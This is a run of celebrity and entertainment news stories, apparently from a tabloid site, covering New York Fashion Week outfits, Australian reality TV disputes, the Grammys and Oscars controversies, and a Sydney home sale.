Paris, 37, was wearing a white dress with her blonde locks covering the straps, with a red floral print design.

She was carrying a matching white purse with a red floral design and a marroon handle that resembled chain links.

The mogul capped off her look with a pair of nude heels.

Paris style: Paris, 37, was wearing a white dress with her blonde locks covering the straps, with a red floral print design

Paris' 35-year-old sister Nicky was wearing a knee-length baby blue dress with fringed tassels.

She also had a white blazer with blue floral print designs hanging from her shoulders, with her hair tied back in a bun and white earrings.

Nicky completed her look with a pair of baby blue heels while carrying a unique purse with the chain wrapped around her hand.

Stepping out: Paris' 35-year-old sister Nicky was wearing a knee-length baby blue dress with fringed tassels

Earlier on Tuesday, Paris walked the runway as part of The Blonds show during NYFW, rocking a silver tasseled bodysuit.

On Monday, she wore a sheer black spiderweb dress at the Philipp Plein show as part of NYFW.

Paris and Nicky were also photographed together at Alice + Olivia's NYFW show, with Paris in a boho black dress and Nicky in a purple 'Miami Vice' pantsuit.

Smiling sisters: Paris and Nicky were also photographed together at Alice + Olivia's NYFW show, with Paris in a boho black dress and Nicky in a purple 'Miami Vice' pantsuit

Paris' personal life was in the spotlight last year, as she got engaged to actor Chris Zylka in January 2018.

The engagement ended in November 2018, with Paris telling E! Online in an interview that she 'isn't even thinking about dating' after the engagement.

Nicky has been married to James Rothschild since July 2015, with two daughters, two year old Lily Grace Victoria and one year old Teddy Marilyn.

Earlier in the week, Nicky and Paris made another appearance as a duo at the Alice + Olivia show - which their brother Barron also attended with his wife Tessa in tow.

Gorgeous: Paris' personal life was in the spotlight last year, as she got engaged to actor Chris Zylka in January 2018

Barron and Tessa also made an appearance over the weekend at The Daily Front Row x MCM party, where Barron put on a very dashing display, wearing a dapper burgundy and black suit jacket, eschewing the traditional white shirt in favorite of donning a black turtleneck underneath it.

Meanwhile, his beautiful bride Tessa was radiant in a sequined dress and a coordinating patterned jacket, looking every inch the style star as she and the hotel heir posed for pictures together.

Held at Pier 59 studios, the event played host to a slew of stars, including Barron and his new wife - as well as rockstar heiress Alexandra Richards, daughter of Rolling Stones guitarist Keith Richards.

Stylist-to-the-stars Mimi Cuttrell - the woman behind many of Gigi Hadid's hottest ensembles - was also in attendance, as was fashion-focused influencer Caroline Daur.

Caroline, who went for an androgynous look in a khaki suit, black turtleneck, and a pair of knee-high black boots, took the chance to pose up in front of the famous MCM bear - a giant teddy made out of the classic monogram MCM leather, which stood in pride of place at the swanky party.

Dapper duo: Barron attended The Daily Front Row x MCM New York Fashion Week party at Pier 59 studios on Saturday night with his wife Tessa

Style star: Fashion influencer Caroline Daur was also in attendance at the event, and took the chance to pose with the brand's iconic teddy bear

Entertainment: Drag performer Aquaria kept the guests entertained with her anticsThey both saw their modeling career soar to new heights after they hit the catwalk in racy lingerie for Victoria's Secret.

And with New York Fashion Week still going strong across Manhattan, statuesque models Doutzen Kroes and Karolina Kurkova made the rounds on Tuesday.

Their busy day included an appearance at the Hudson Yards Event Hosted By Derek Blasberg.

Making a statement: Models Doutzen Kroes and Karolina Kurkova made colorful entrances when they attended the Hudson Yards Event Hosted By Derek during New York Fashion Week

The 5foot10.5inch Kroes couldn't be missed when she made a grand entrance to the party in a pink suit.

The pants hung loosely off her lean figure, while the double-breasted blazer hugged her frame just enough to remind gawkers of her top model status.

The Netherlands native, 34, paired the flashy suit with black leather shoes and she wore her long dark brown tresses pulled back into a tight ponytail.

Colorful: Kroes couldn't be missed dressed in a pink double-breasted suit

Models with wings: Both ladies saw their careers soar as Victoria's Secret Angels

Lovely: Kurkova wore a more traditional yellow pant suit, but with added pop and flare

Kroes's fellow Victoria's Secret Angel, Karolina Kurkova opted for a more traditional yellow pant suit, but with much more added pop and flare.

The pants hugged the 5foot11 beauty's legs the first half and then, for contrast, it flared out from the knees down.

The Czech Republic native, 34, tied the jacket together with a stylish black leather belt, and she styled her long blonde locks off of her face and with a part to the slight right.

Working moms: Both ladies are married with two children

New York transplant: Kurkova was born and raised in the Czech Republic

European lady: Kroes originally hails from the Netherlands

Kroes first rose to prominence in 2005 after being chosen as Vogue.com's 'Model Of The Year', and she went on to be named a Victoria Secret's Angel in 2008.

She started dating Dutch DJ Sunnery James in 2009.

They would marry the following year and are now the proud parents of an eight-year old son, Phyllon, and daughter, Myllena, four.

Lucrative: Both ladies have been among the top earning models over their careers

Model behavior: Cindy Bruna flashed her svelte legs in a short sweater and thigh-high boots

Kurkova started modeling at a very young age, getting her first runway experience in Prague when she was just 15 years old.

She also appeared in Vogue at just 15, and ended up moving to New York City at age 17, when she appeared on the cover of Vogue in February 2001.

Kurkova married Archie Drury in 2009, the same year she gave birth to their son Tobin, nine. They also share three-year old son Noah.They're the loved-up AFL power couple who tied the knot in an intimate, secret wedding in November 2016.

And ahead of Valentine's Day on Thursday, Jesinta Franklin revealed how she and husband Lance 'Buddy' Franklin will spend the romantic holiday.

'I feel like sometimes Valentine's Day is so commercialised and takes out the impact of a really beautiful day,' she candidly told Vogue this week.

'Romance to me is subtle': Jesinta Franklin (R) revealed how she and husband Buddy (L) spend Valentine's Day while gushing over his sweet gestures in an interview with Vogue this week

Jesinta, 27, detailed that the duo enjoyed a magical afternoon by Sydney's harbour in lead up to the special day, adding that they also celebrated with friends.

The blonde beauty explained that the pair don't have a set ritual for the annual event and sometimes decide not to exchange gifts.

'Romance to me is usually quite subtle... it is almost those subtle spontaneous little things in life that are the most romantic to me - especially in a long-term relationship,' she told the publication.

Sweet: Jesinta, 27, detailed that the duo enjoyed a magical afternoon by Sydney's harbour in lead up to the special day, adding that they also celebrated with friends

'When Buddy knows I've had a really bad day, and I'm feeling a bit off, he comes home with a bottle of wine, or a block of chocolate, or even just says ''tonight I don't want you to do the dishes''  I think that is really romantic,' she added.

Jesinta also revealed that six years ago, Buddy's first Valentine's gift to her was her favourite perfume, Miss Dior.

She also said that's when the AFL star, 32, asked her to become 'official' in their relationship.

'Romance to me is usually quite subtle... it is almost those subtle spontaneous little things in life that are the most romantic to me - especially in a long-term relationship,' she told the publication

Meanwhile, Buddy popped the question with an estimated $100,000 ring in December 2014, after dating for 14 months, with a custom-designed 4.5 carat diamond ring by Nader Jewellers.

Their high-profile relationship has not been without struggle however, when Buddy took time off from the AFL to get help for mental health issues and epilepsy.

After their private nuptials in the Blue Mountains, where Jesinta wore a custom-made Vera Wang wedding dress, she said their love has deepened.

Dream couple: Meanwhile, Buddy popped the question with an estimated $100,000 ring in December 2014, after dating for 14 months

Gold-Coast born Jesinta became a household name after competing at the Miss Universe competition in 2010, where she placed second runner up.

Possessing a knack for staying in the spotlight, the star has since worked as an ambassador for brands like Cadbury and Dior.

She's also appeared on reality television, with a bikini-clad stint on The Celebrity Apprentice back in 2011.

Jesinta recently changed her image, going from a girl-next-door look to a chic fashionista, which has led to an endorsement deal with Dior.Advertisement

ABC radio broadcaster Dr Rachael Kohn has listed her stunning home in the affluent suburb of Mosman for $6 million.

According to CoreLogic, the 66-year-old and her husband, property developer Tom Breen, purchased the property for $3.75 million in 2007.

The Federation home, built circa 1912, boasts four spacious bedrooms and three bathrooms across three floors.

It pays to work for your ABC! Radio host Dr Rachael Kohn is selling her four bedroom Mosman home for $6 million

Visitors enter the lavish property via a short pathway and porch area.

Inside, a hallway leads to two living rooms, with one opening on to a formal dining room with a fireplace.

Further down the hallway is a combined living, dining and kitchen area that features high-end appliances, an elegant table top and cabinetry finishes.

Big gains: According to CoreLogic, the 66-year-old and her husband, property developer Tom Breen, purchased the property for $3.75 million in 2007

Grand scale: The Federation home, built circa 1912, boasts four spacious bedrooms and three bathrooms across three floors

Cosy: Inside, a hallway leads to two living rooms, with one opening on to a formal dining room with a fireplace

Glass doors in the dining room open on to a Travertine terrace for al fresco dining, and a well manicured back lawn with a timber seating area.

On the second floor, the spacious master suite includes a dressing area, fireplace and en suite.

The second level of the home also includes a common area, a generous second bedroom, a study which can be converted into a bedroom, and a second bathroom.

Open plan: Further down the hallway is a monochrome combined living, dining and kitchen area

Functional: The kitchen features high-end appliances, an elegant table top and cabinetry finishes

The attic bedroom on the third floor of the house includes an en suite bathroom and a stunning view of Middle Harbour.

The property's agent, LJ Hooker Avnu's Michael Coombs, told realestate.com.au on Wednesday: 'It is a great family home and because it is low maintenance, it will attract downsizers and empty nesters.'

The sale of the Mosman home comes after the couple recently upsized with a new home, also in Mosman, with a $9.9 million price tag.

Sun smart: Glass doors in the dining room open on to a Travertine terrace for al fresco dining, and a well manicured back lawn with a timber seating areaEvery instant restaurant on My Kitchen Rules involves the contestants and hosts critiquing each meal of a three-course menu.

So when one contestant refused to confirm whether she liked or disliked a dish presented to her on Wednesday night, the judges lost their cool.

Pete Evans and Manu were perplexed by Bianca's defiant stand, as she gave a vague description of Victor and G's entree.

'It's not hard!' My Kitchen Rules judges Pete Evans and Manu Feildel lose their cool after a defiant Bianca refused to review a rival's entree dish

'I'm confused. I'm not saying it wasn't tasty, but it was a tasty dish of confusion,' she told the other teams at the table.

Her statement prompted Pete to ask: 'So you liked eating it?'

'I don't know how to answer that,' Bianca skirted around the answer, as Pete added: 'Well how hard is it?'

'I don't know how to answer that': Bianca hesitated to reveal if she liked or disliked Victor and G's entree

Co-star Karolina was heard adding her views, saying to producers: 'Did you like the dish or not? Was it a good dish or a bad dish?'

French chef Manu pressed the issue further: 'Did you enjoy it -yes or no? It's not hard!'

'Just give Manu what he wants, it's simple. She's a scientist, surely she knows how to say it was good meal,' Anne told producers after the tense dinner table discussion.

'Well how hard is it? Did you like it - yes or no?' After multiple attempts to get Bianca to deliver a verdict, she caved and said 'sure, yep I enjoyed it'

'Just give Manu what he wants, it's simple. She's a scientist, surely she knows how to say it was good meal': Anne (left) was baffled by Bianca's bizarre table etiquette towards the judges

Piper agreed: 'You're being immature here, just answer the damn question, seriously.'

Defending her decision, Bianca said: 'I'm a very honest individual. So I'm confused. I don't know. Does that not answer your question?'

She later caved and told Manu: 'Sure. Yep, I enjoyed it.'

My Kitchen Rules returns on Sunday from 7pm on SevenCardi B became the first solo female artist to win Best Rap Album at the 61st Grammys on Sunday night, and she got some support from Lady Gaga on Tuesday.

Gaga (real name Stefani Germanotta), 32, shared a photo of her with Cardi B (real name Belcalis Almanzar), 26 at the Grammys, while saying she 'deserves her awards.'

'It is so hard to be a woman in this industry,' Gaga began. 'What it takes, how hard we work through the disrespectful challenges, just to make art.'

Gaga and Cardi: Lady Gaga expresses her support for Cardi B on Tuesday, after her historic Grammy win on Sunday

'I love you Cardi. You deserve your awards. Lets celebrate her fight. Lift her up & honor her. She is brave,' Gaga concluded.

Cardi B was nominated for four other Grammys this year, Album of the Year for her debut album Invasion of Privacy, Record of the Year for I Like It, Best Pop Duo/Group Performance for Girls Like You and Best Rap Performance for Be Careful.

She also has two Grammy nominations from the 60th Grammys, for Best Rap Performance and Best Rap Song for her hit track Bodak Yellow.

Honoring Cardi: 'I love you Cardi. You deserve your awards. Lets celebrate her fight. Lift her up & honor her. She is brave,' Gaga concluded

Gaga was also a big winner at the Grammys on Sunday, taking home three Grammys, bringing her total to six.

She won the Grammy for Best Pop Solo Performance for her song Joanne (Where Do You Think You're Goin'?).

She also won Best Pop Duo/Group Performance and Best Song Written for Visual Media for her hit song Shallow from A Star Is Born.

Gaga style: Gaga was also a big winner at the Grammys on Sunday, taking home three Grammys, bringing her total to six

Following her big Grammy win, Cardi B is getting ready to hit the road again on her new tour.

Her tour kicks off March 13 at the Beach Bash Music Festival at Isla Grand Resort in South Padre Island, Texas.

The tour concludes July 11 at the Openair Frauenfeld at Frauenfeld, Switzerland.

Residency: Lady Gaga will be continuing her Las Vegas residency throughout the year at the Park Theater at the Park MGM resort

Lady Gaga will be continuing her Las Vegas residency throughout the year at the Park Theater at the Park MGM resort.

Her next wave of residency shows kicks off May 30, with nine shows between then and June 15

The final wave kicks off October 17 with 12 shows between then and November 9.She got engaged to mega star Chris Pratt last month.

And Katherine Schwarzenegger was eager to flash her 5-carat diamond ring as she hosted a Galentines Day Glow event with Biossance on Tuesday.

The 29-year-old brunette beauty rocked a unique black ensemble for the fun-filled event Alo Yoga in Beverly Hills.

Hostess: Katherine Schwarzenegger, 29, hosted a Galentines Day Glow event with Biossance in Beverly Hills on Tuesday

Daring to impress, the famous activist gave a peek at her toned stomach as the crop top stopped short above the navel.

Her trademark brunette tresses were left long and loose as they cascaded over her petite shoulders.

Guests were led through a yoga class, followed by oxygen facials featuring Biossances latest Tea Tree Oils.

And her guests included Baskin Champion who showed off her toned tummy.

Stunner: The brunette beauty rocked a unique black ensemble for the fun-filled event Alo Yoga in Beverly Hills

Sparkler: Chris Pratt gave her a 5-carat ring for their engagement

Whitney Port rocked a fashion forward sweatshirt and chic leather fanny pack.

Her engagement to Chris was announced last month, when the actor shared a shot of them on Instagram, with the caption: 'Sweet Katherine, so happy you said yes! Im thrilled to be marrying you. Proud to live boldly in faith with you. Here we go!'

The photogenic twosome were seen stepping out together last year, ten months after his split from now ex-wife Anna Faris, 42, was announced in August 2017.

Chris and Anna, who were married for almost nine years, share six-year-old son Jack.

Fashion forward: Whitney Port rocked a fashion forward sweatshirt and chic leather fanny pack

But the couple have remained on good terms, with Anna even congratulating Chris on his news.

Commenting on their engagement post she wrote: 'I'm so happy for you both!! Congratulations!' She even revealed she offered to marry the couple herself, explaining on her Anna Faris Is Unqualified podcast:

'Chris texted me this morning and he was like, you know, 'I proposed to Katherine last night. I was like 'Ah! That's amazing.' And I texted him back: 'Just want to remind you, I'm an ordained minister'.'

Toned: Baskin Champion showed off her toned tummy

And the actor admitted he felt a twinge of anxiety before asking Arnold Schwarzenegger for his daughter Katherine's hand in marriage.

He dished the experience to Extra at the Los Angeles premiere of The Lego Movie 2: The Second Part.

He said: 'Well, you know, I think any person who appreciates a tradition and asks a father for his daughters hand in marriage...

Happy time: The Guardians Of The Galaxy star proposed to Katherine a couple of weeks ago, roughly three months after his divorce from Anna Faris was finalized (pictured on Jan 30)

'...It's inevitably going to be something that makes you a little nervous, but that's sort of the beauty of it, you know?'

Speaking to Us Weekly at the premiere of The Lego Movie 2: The Second Part in Westwood, California on Saturday, the actor revealed they would like to wed in fall/winter.

'A little, you know, maybe fall, winter kind of thing and you know, we've got a lot to get done,' he told Us.Angie Kent has hit back at Foxtel boss Brian Walsh after he publicly criticised her and Gogglebox co-star Yvie Jones for signing up to I'm A Celebrity... Get Me Out Of Here!.

The reality star, who was eliminated from the jungle this week, told News Corp on Wednesday that she doesn't regret her career decision and won't shed any tears over Brian's comments.

'I loved doing Gogglebox. I gave up four years of my life  eight seasons. We brought home three Logies,' she defiantly told the publication.

'If he wants to be disappointed with us, that's his choice': I'm A Celebrity's Angie Kent (pictured) has hit back at Foxtel executive Brian Walsh after he blacklisted her and Yvie Jones from Gogglebox

'If Brian wants to be disappointed with us going into the jungle, that's his choice,' she said, adding that she will always support Gogglebox from afar.

'When I'm A Celeb popped up, I thought why the hell not do something that Gogglebox couldn't offer me?' Angie added.

It comes days after Foxtel's Executive Director of Television Brian Walsh told TV Tonight that the Sydney flatmates were blacklisted by Foxtel for signing up for the Channel 10 program.

Never coming back: It comes days after Foxtel's Executive Director of Television Brian Walsh told TV Tonight that the Sydney flatmates were blacklisted by Foxtel for signing up for the Channel 10 program

'You will not see a review of them on Gogglebox,' Walsh said. 'From a promotional point of view, the issue that upsets Foxtel is the exploitation of the Gogglebox brand to market and sell another program.'

It is understood Foxtel likes to keep Gogglebox contestants away from the showbusiness spotlight so they maintain 'authenticity' as pop culture critics.

But things became tricky when Yvie, 46, and Angie, 30, appeared on I'm A Celebrity... Get Me Out Of Here!, becoming bona fide reality TV stars in the process.

Blacklisted: The Sydney flatmates upset Foxtel executives by signing up for Channel 10's I'm A Celebrity... Get Me Out Of Here! and making disparaging comments about their salaries

According to TV Tonight, their decision 'caused some friction behind the scenes'.

The situation is more complex due to the fact Gogglebox is aired on both Foxtel and Channel 10 as part of a unique agreement between the two broadcasters.

Walsh added that Foxtel management were also 'incredibly disappointed' when the two women publicly criticised their appearance fees.

Blurring the lines: It is understood Foxtel likes to keep Gogglebox contestants away from the showbusiness spotlight so they maintain 'authenticity' as pop culture critics

In August 2018, Angie told Who magazine that 'everyone [in the Gogglebox cast] still has to work' because of their relatively low salaries.

'Oh God, otherwise we'd be on the streets!' she added.

Walsh said of the revelation: 'I was incredibly disappointed that they were critical of Foxtel and the appearance fee money we paid them to do Gogglebox. I thought that was unfair, unnecessary and unwarranted.'Mel Schilling is keeping a low profile in the wake of backlash following a recent episode of Married at First Sight.

On Sunday, the psychologist was widely condemned by MAFS viewers after she scolded 'groom' Bronson Norrish for calling his 'wife', Ines Basic, the C-word.

And as she recovers from criticism, Mel was gifted with champagne and chocolates from friend and fellow psychologist, Sandy Rea.

'Nothing that champagne can't fix': Mel Schilling keeps a low profile as she poses with a bottle of bubbly amid backlash over MAFS... as petition calling for her to be fired reaches 54,000 signatures

'Nothing that champagne, chocolates, flowers and love can't fix for my friend @mel_schilling1 #MAFS #callingit #tvpsychologist #womensupportingwomen #thefacts,' Sandy captioned a photo of Mel shared to Instagram.

Makeup free Mel flashed a smile while posing with champagne, chocolates and a bouquet of flowers.

It comes as a Change.org petition for Mel to be sacked over Sunday's episode reached 54,000 signatures in a matter of three days.

Industry connection: Mel and Sandy are both Channel Nine psychologists

During the first commitment ceremony, 34-year-old former stripper Bronson said his 'wife' Ines was 'acting like a c**t', prompting psychologist Mel to criticise him in front of the whole group.

After the show aired, outraged fans accused of her of having double standards when it comes to bad language, as she made no reference to how Ines, 28, had verbally abused Bronson while on their honeymoon.

The Change.org petition states: 'Married At First Sight's so-called expert Mel Schilling lashed out at Bronson for using foul language.

Backlash: It comes as a Change.org petition for Mel (left) to be sacked over Sunday's episode reached 54,000 signatures in a matter of three days. Pictured (right)

'This so-called psychologist is a biased feminist who has made it clear that she thinks it's okay for a woman to behave the way Ines does.

'Bronson has been a victim of her verbal and emotional abuse all week, and the second he decides it's enough, 'expert' Mel comes in and says he shouldn't be using that language.

'The thing is, Ines is exactly what he said, a nasty, abusive piece of work.'

'Don't use language like that if you want a relationship with a woman!' During the first commitment ceremony, Bronson said his 'wife' Ines Basic (pictured) was 'acting like a c**t', prompting psychologist Mel to criticise him in front of the whole group

It concludes: 'Mel needs to make a formal apology or be sacked from the show. The show doesn't need a one-sided feminist as an 'expert'.'

In a statement on Monday, Channel Nine publicly supported Mel.

A network spokesperson told Daily Mail Australia: 'There were 12 women in the room that night and a man used language that was highly insulting and inflammatory in reference to his wife.

Ouch! 'I'm not calling her a c**t, I'm saying she acts like a c**t', Bronson said of his 'wife' Ines

'Mel acted in the only way appropriate by calling out the language - language that is not ever considered acceptable anywhere, anytime.

'We are shocked at the backlash Mel has received for defending another woman.

'Tonight, Bronson and Ines will go into couples' therapy, where the actions of both participants will be called into account.'

Justified? While he was criticised on the show, and sternly disciplined by Mel, Bronson was widely defended on social media

On Sunday's explosive episode of Married at First Sight, Bronson called Ines the C-word during the first commitment ceremony.

While Ines voted to leave the experiment, Bronson decided to stay, forcing her to endure another week with him.

Explaining his decision, he said: 'When we did the questionnaire thing, Ines was amazing that night, like, really amazing. I loved her to pieces that night.

'Next morning, the Hulk came out. Straight back to a c**t. I'm not calling her a c**t, I'm saying she acts like a c**t'.

The backlash begins: A Change.org petition demanding Mel be sacked or at least issue a formal apology has already attracted hundreds of signatures overnight

He went there! Bronson's castmates, including Elizabeth Sobinoff (pictured), were shocked by his colourful language

Ranting: Mel Schilling (pictured) was horrified by Bronson's slur, saying: 'Don't use language like that if you want any chance of a relationship with a woman'

A stunned Ines replied: 'I don't think this could get any worse.'

Relationship expert Mel was horrified by Bronson's slur, saying: 'Don't use language like that if you want any chance of a relationship with a woman.'

The pair were then told they would be forced into counselling, with fellow expert John Aiken insisting that Bronson needed to learn 'respect'.

Sticking together: While Ines voted to leave the experiment, Bronson decided to stay, forcing her to endure another week with him

While he was criticised on the show, Bronson was widely praised on Twitter for standing up for himself.

Many viewers claimed he was justified in calling Ines a 'c**t' after she had verbally abused him - including telling him repeatedly to 'shut the f**k up' - during their honeymoon in Port Douglas.

'She's been mouthing him off all week and she didn't even get told off?' one person tweeted, addressing the double standard.

'The 'experts' didn't even mention her abusive tendencies but sure let's go off about the word c**t'.

Another viewer wrote: 'So verbal abuse is okay if it's directed at a man, but it's not okay to call the abuser out as a c**t?'

Married At First Sight continues Wednesday at 7:30pm on Channel NineThe Academy of Motion Picture Arts & Sciences is facing a barrage of criticism after deciding to hand out four Oscars during commercial breaks in its February 24 telecast.

And on Tuesday, Outlander star Caitriona Balfe added her voice to the controversy via a series of tweets.

The Irish actress, 39, began by retweeting Variety's article about the Academy's decision to present the Oscars for cinematography, film editing, makeup and hairstyling, and live-action short off-air, and writing: 'What the F@*k??'

Outrage: Outlander star Caitriona Balfe added her voice to the controversy about the Academy deciding to present four Oscars during commercial breaks on Tuesday via a series of tweets

Spoke her mind: The Irish actress, 39, began by retweeting Variety's article about the Academy's decision to present the Oscars for cinematography, film editing, makeup and hairstyling, and live-action short off-air, and writing: 'What the F@*k??'

Balfe went on: 'No one part of the endeavour is more important or more valuable than the rest. How could a film exist without a cinematographer???? And editor???? An academy that demeans such essential roles is one that obviously doesnt Understand the film making process.'

'Every actor will tell you so much of how they build their character is through hair and make up. ALSO essential to the process.'

'And for the people who have slaved and sweated and broke their backs and bank balances to make short films that Are purely creative endeavours and very rarely will ever make money ... the prospect of getting an Oscar and people learning about you and your project is essential and been the springboard for countless careers.'

Balfe concluded: 'Everyone should have Their moment to shine ... if they deserve an Oscar they deserve their moment. Its bullllll****!!!!'

High profile role: Balfe is most famous for playing Claire Fraser in the Starz drama Outlander since 2014. She's pictured with co-star Sam Heughan

Publicity appearance: Also Tuesday, Balfe took part in a Starz event at the 2019 Winter TCA Panel in Los Angeles

Also Tuesday, Balfe took part in a Starz event at the 2019 Winter TCA Panel in Los Angeles.

She joined several other of the channel's leading actresses and series creators to talk about whether life on set is getting better in the #MeToo era.

The panelists included her Outlander EP Maril Davis, Power's La La Anthony, and Vida stars Melissa Barrera and Mishel Prada.

Discussion: She joined several other of the channel's leading actresses and series creators to talk about whether life on set is getting better in the #MeToo era

Celebrity: The panelists included Power's La La Anthony

Things to say: Vida stars Melissa Barrera and Mishel Prada took part too

The Starz session also included talent promoting their upcoming shows.

Downton Abbey's Laura Carmichael stars in the mini series The Spanish Princess which tells the story of Catherine of Aragon's arrival as a teenager in England where she's married to King Henry VII's heir Prince Arthur.

When her young husband dies, she insists their marriage was never consummated and she is free to marry Arthur's brother Henry, who goes on to be crowned as King Henry VIII.

Carmichael plays Catherine's lady-in-waiting Margaret Pole while Game Of Thrones actress Charlotte Hope plays the princess.

On hand, too, were Emma Greenwell and Olivia Munn, the stars of the upcoming supernatural spy drama the Rook.

Also there were Ian McShane and Ricky Whittle from American Gods who promoted season 2 of their series.

Upcoming drama: Downton Abbey's Laura Carmichael stars in the mini series The Spanish Princess as a lady-in-waiting to the young Catherine Of Aragaon

Royal role: Game Of Thrones actress Charlotte Hope plays the princess in the show that follows her from arrival in England through her marriages to Prince Arthur and then Henry VIII

Spooky: On hand, too, were Emma Greenwell and Olivia Munn, the stars of the upcoming supernatural spy drama The Rook

Global appeal: Munn's latest series is set in London

Back for more: Also there were Ian McShane and Ricky Whittle from American Gods who promoted season 2 of their seriesPriyanka Chopra was wearing a suitably outlandish outfit to appear on a segment of Jimmy Fallon's talk-show spoof Ew!

The Bollywood bombshell swept her multicolored hair into high pigtails and slipped into an eye-popping floral denim overall skirt.

Accessorizing with pastel bead bracelets, Priyanka rounded off the look with a 1970s chic T-shirt, yellow and pink leggings and some sneakers.

'Ready': Priyanka Chopra was wearing a suitably outlandish outfit to appear on a segment of Jimmy Fallon's talk-show spoof Ew!, where he dresses in drag

The new wife of Nick Jonas treated her more than 35 million Instagram followers to a dressing room photo of her in her full Ew! get up this Tuesday.

Her Insta Stories also featured video footage of her and Jimmy - in character as teen talk show hostess Sara - attempting to dance the floss.

Priyanka admitted that 'The "floss" was not my friend,' gamely dishing: 'Dance rehearsals were not our strongest point...'

She has lately been doing the talk show circuit ahead of the release of her new romantic fantasy film Isn't It Romantic, out Wednesday.

Giving it a go: The Bollywood bombshell swept her multicolored hair into a high ponytail and slipped into an eye-popping floral denim overall skirt

Bold: Accessorizing with pastel bead bracelets, Priyanka rounded off the look with a 1970s chic T-shirt, yellow and pink leggings and some sneakers

Led by the Australian duo of Rebel Wilson and Liam Hemsworth, the cast also includes such names as Rebel's old Pitch Perfect co-star Adam Devine.

Priyanka and Nick had a three-day wedding extravaganza at the Umaid Bhawan palace in Jodhpur this past December, with both Christian and Hindu ceremonies.

The bride modeled a Ralph Lauren gown with a 75-foot train at her Christian wedding, which was officiated by her new husband's pastor father.

Anything you can do: Her Insta Stories also featured a video of her and Jimmy - in character as teen talk show hostess Sara - attempting to dance the floss

Giving it a go: The Quantico star admitted that 'The "floss" was not my friend,' gamely dishing: 'Dance rehearsals were not our strongest point...'

Their nuptials were followed by a grand total of four receptions - one in New Delhi that played host to India's prime minister Narendra Modi, two in Bombay for the local press corps and 'film fraternity,' and another with family in Charlotte, North Carolina.

Priyanka Chopra Jonas, as she is now, was on The Tonight Show Starring Jimmy Fallon last week and explained that she 'always wanted to' obtain Nick's surname.

'Because I feel like, you know, we're becoming family, and I'm a little traditional and old-school like that. But I don't take away my identity. He gets added to who I am.'

Plugging away: Priyanka has lately been doing the talk show circuit ahead of the release of her new romantic fantasy film Isn't It Romantic, out Wednesday

'I'm a little traditional': Priyanka Chopra Jonas, as she is now, was on The Tonight Show Starring Jimmy Fallon last week and explained that she 'always wanted to' obtain Nick's surnameThe Kyle and Jackie O Show's junior producer Pedro Cuccovillo Vitola is leaving the program after two years, Daily Mail Australia can reveal.

An Australian Radio Network (ARN) spokesperson confirmed the departure on Wednesday, adding that Pedro will be finishing up in March.

'Pedro joined The Kyle & Jackie O Show as a junior producer in October 2016 after being chosen as the winner of Kyle & Jackie O's World's Best Job competition. The Kyle & Jackie O Show is proud to have given Pedro, a longtime fan of the show, his first role in radio,' the statement began.

Scroll down for video

EXCLUSIVE: Kyle and Jackie O staffer Pedro Cuccovillo Vitola (pictured) is leaving KIIS FM - just months after producer Bruno Bouchet quit the radio industry

'Pedro is finishing up with the show in March having decided to devote time to focus on his personal brand, working on his own video and social media content,' the spokesperson continued.

'As with any young person beginning their career who wishes to pursue their passion, all at ARN wish him well.'

They concluded: 'Regularly on the lookout for talented and hard-working producers to join the team, The Kyle & Jackie O Show are in discussions with a number of up-and-coming producers and a new appointment will be made in the coming weeks.'

He's outta here! An Australian Radio Network (ARN) spokesperson confirmed the departure on Wednesday, adding that Pedro will be finishing up in March. Pictured: Kyle and Jackie O

Pedro, who was affectionately known as 'Puerto Rican Pedro' on the show, was involved in several high-profile stunts during his two years at KIIS FM.

During one memorable Only Lying segment, he prank called his girlfriend and told her he was seriously injured after being ejected from plane.

His departure comes just a few months after executive producer Bruno Bouchet left the program to pursue a career outside of the radio industry.

Moving on: Pedro's departure comes just a few months after executive producer Bruno Bouchet (left) left the program to pursue a career outside of the radio industry

'I've been doing radio since I was 15. Now, as a balding 32-year-old, it's time to close that chapter of my life and embark on a new journey,' Bruno said in November.

'I've made lifelong friends along the way and have been blessed to work with some of the most inspiring and beautiful people I'll ever meet.'

Bruno's close friendship with radio host Kyle Sandilands is well documented, and he is believed to have left KIIS FM on good terms.They're the plastic fantastic cast of Australia's highest-rated show.

But the stars of Married At First Sight looked very different before finding fame on reality television.

From inflated pouts to nose jobs, Australia's most famous brides and grooms have undergone incredible transformations over the years.

Transformed! Married At First Sight's 2019 cast members look very different in photos taken before they rose to fame. Pictured: Elizabeth Sobinoff

Martha Kalifatidis, 30, looked remarkably different in her early twenties, sporting a more prominent nose and less plump features overall.

The Greek goddess describes herself as 'high maintenance' and has admitted to a myriad of cosmetic tweaks, including a boob job, rhinoplasty, fillers and Botox.

She's also cited Kim Kardashian as her primary influence, recently saying: 'Everyone's inspired by Kim... She's hot!'

Plastic fantastic: Martha Kalifatidis, 30, looked remarkably different in her early twenties (left), sporting a more prominent nose and less plump features overall

Jessica Power also appears to have invested in cosmetic injectables, as her lips have multiplied in size in just a few short years.

The 26-year-old's pout has even become a running joke among MAFS fans, with many people sharing hilarious memes on social media.

The blonde Instagram model even has bright red hair in some older photos.

Plump pout: Jessica Power also appears to have invested in cosmetic injectables, as her lips have multiplied in size in just a few short years

Like Martha, Melissa Lucarelli has also admitted to using fillers and Botox in a bid to stay young.

Throwback photos of the talent agent, now 38, show her looking much younger and fresher - as expected.

However, despite having a more youthful appearance, the brunette's features don't seem to have drastically changed like some of her castmates.

That's different! Heidi Latcham has also made a remarkable transformation. She sported a short, boyish hairstyle (left) years before growing out her signature curly blonde mane

Puffy: Melissa Lucarelli, 38, has admitted to using fillers and Botox in a bid to stay young

Before the gym! Melissa's 'husband' Dino Hira is known for his ripped physique, but photos from 2014 (left) show the male model looking much plumper and rounder

Melissa's 'husband' Dino Hira is known for his ripped physique, but photos from 2014 show the male model looking much plumper and rounder.

Radio personality Heidi Latcham has also made a remarkable transformation.

She sported a short, boyish hairstyle years before growing out her signature curly blonde mane.

Vixen: Lauren Huntriss has a natural and innocent look on MAFS (right), but throwback photos show her wearing dark and edgy makeup (left)

Meanwhile, Lauren Huntriss - who was initially portrayed as a sweet country girl on MAFS - used to wear Gothic-inspired makeup and wild wigs back in the day.

Elizabeth Sobinoff has also changed quite a bit, with the 27-year-old once sporting dark hair before opting for blonde extensions.

Married At First Sight continues Wednesday at 7:30pm on Channel NineSusan Lucci stepped out in red yet again, just days after taking a spill on the runway during a charity event while wearing a much more dramatic crimson dress.

The 72-year-old actress was all smiles at Woman's Day Celebrates 16th Annual Red Dress Awards im New York City on Tuesday.

